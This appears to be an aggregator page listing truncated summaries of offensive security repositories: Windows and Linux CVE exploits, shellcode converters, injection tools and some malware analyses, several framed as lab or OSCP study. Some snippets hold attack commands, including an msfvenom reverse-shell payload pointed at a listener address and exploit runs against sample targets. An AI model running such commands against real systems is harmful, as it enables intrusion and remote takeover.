Exploits

root@kitploit: This repository contains a personal collection of Windows CVE I have turned in to exploit source, as well as a collection of payloads I've written to be used in conjunction with these exploits. Some of these CVE have been joined together in exploit chains for RCE, sandbox escapes a...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

Exploit_MS08-067

Complete Usage Guide: Exploit MS08-067 Enhanced 📌 Basic Usage root@kitploit: python3 ExploitMS08-067.py OPTIONS 🎯 Practical Examples 1. Windows XP SP0/SP1 Default Port 445 root@kitploit: python3 ExploitMS08-067.py 192.168.1.100 1 2. Windows 2003 SP1 English Port 139 root@kitploit: python3...

CVE-2023-0386-libs

Install compilation environment root@kitploit: sudo apt install -y gcc libfuse-dev pkg-config Compile exploit root@kitploit: gcc -Wall CVE-2023-0386.c pkg-config fuse --cflags --libs -DFILEOFFSETBITS=64 -o CVE-2023-0386-exp -static -lfuse Generate shellcode root@kitploit: msfvenom -p linux/x86/ex...

copy-fail-zig

Implementación en Zig de Copy Fail CVE-2026-31431 Implementación en Zig de la prueba de concepto de 732 bytes para el LPE de Linux Copy Fail CVE-2026-31431, divulgado por Theori / Xint el 29 de abril de 2026. El análisis técnico se puede encontrar en copy.fail. Esta implementación no tiene...

Rainfall

Rainfall Rainfall is an iso challenge slightly more complex than Snow Crash. You will have to dive deep into reverse engineering, learn to reconstruct a code, and understand it to detect faults. Will you reach the last level? Description Rainfall is a project from the cybersecurity branch of 42,...

cve-2017-7269-tool

cve-2017-7269 webshell 和 shellcode 工具 构建 root@kitploit: csc cve-2017-7269.cs 用法 root@kitploit: CVE-2017-7269 参数 请求头： -h 设置 If 请求头的主机 -p 设置 If 请求头的端口 -s 设置 If 请求头的协议 scheme -l 物理路径长度 WebShell： -w 上传 webshell 到服务器 -wp webshell 保存路径 ShellCode： -c 执行 shellcode 其他： -t 仅测试漏洞。 -e 获取 shell 或测试后退出进程 -k...

CVE-2017-11882

CVE-2017-11882 43b original script from https://github.com/embedi/CVE-2017-11882 109b original script from https://github.com/unamer/CVE-2017-11882/ Kudos, now unamer's code can execute shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE...

Conflicker_analysis_scripts

Worm Conflicker Analysis scripts conflickershellcodedecryptor.py - Carries out decryption of the shellcode used by conflicker/netapi worm.It's a one-byte XOR decryptor. The output looks like, 00000170 83 c6 07 e8 18 00 00 00 33 d2 52 52 8b cc 66 c7 |........3.RR..f.| 00000180 01 78 2e 51 ff 77 04...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 This exploit uses addresses and shellcode for Citrix VPX 13.1-48.47. For the full writeup, click here. Usage NASM is required to build the shellcode. root@kitploit: $ sudo apt install nasm The included shellcode will download and run a shell script from a remote https...

Clematis

Clematis 中文 | English 🛠️ A powerful tool for converting PE files EXE/DLL into position-independent shellcode. ✨ Key Features Support for converting PE files EXE/DLL to shellcode Compatible with both x86 and x64 architectures Command-line argument support Built-in LZNT1 compression algorithm for...

CVE-2009-3999-HP-Power-Manager-4.2-Build-7-Buffer-Overflow

As part of my OSCP preparation I came across CVE-2009-3999 HP Power Manager 4.2 Build 7 Buffer Overflow exploit. This latest script is updated to resolve Python 3 compatibility issues regarding string and byte handling, ensuring the payload is transmitted as raw binary to avoid memory mangling...

venom-rs

Inyección de DLL reflectante mediante shellcode sRDI en Rust Nombre en clave: Venom La inyección de DLL reflectante mediante shellcode sRDI es una técnica de inyección de procesos que nos permite convertir una DLL determinada en código independiente de posición PIC, que luego puede inyectarse...

ManualRsrcDataFetching

ManualRsrcDataFetching: one function to replace FindResource & LoadResource & LockResource & SizeofResource windows apis. Note: Payload.ico is a x64 calc shellcode...

Analysis-for-stage1-shellcode-loader-from-hacking-

Analysis for stage1 shellcode loader from hacking team Flowchart of code Network IoC https://172\.20\.20\.164 root@kitploit: Mozilla/4.0 compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C;...

CVE-2017-14980

CVE-2017-14980 Sync Breeze Enterprise 10.0.28 - Buffer Overflow Research Objective Study of a classic stack-based buffer overflow vulnerability in a controlled lab environment for educational purposes. The objective of this project was to better understand: Application fuzzing Crash analysis EIP...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

CVE-2012-1889

CVE-2012-1889 This repository contains the files I used to learn about exploiting the CVE-2012-1889 vulnerability. root@kitploit: 1.txt First module info 2.txt Second module info c2javascript.c Used to convert C-form shellcode into JavaScript-form shellcode cve-2012-1889.html Exploit web page...

CVE-2017-11882

CVE-2017-11882 Exploit CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum. For remote command execution,this exploit will call WinExec with SWHIDE and call ExitProcess after WinExec returns. For remote code execution,this exploit just jmp to code. I cannot find a reference...

CVE-2022-42475

CVE-2022-42475 背景 这是针对博客文章 https://bishopfox.com/blog/exploit-cve-2022-42475 的利用程序。 删节版本 此版本的利用程序在没有您（黑客）提供必要的ROP gadget等内存地址的情况下将无法工作。确定这些数据的工作是Bishop Fox的机密和专有信息，我不会（也无法）将其与此利用程序一同发布。相信您能够理解！ 运行模式 仅验证，不进行利用。判断是否易受攻击。无载荷，无shellcode。 利用，但仅验证 。运行良性的回连“ping” shellcode以验证目标是否可利用。 利用并带回连二进制文件加载器...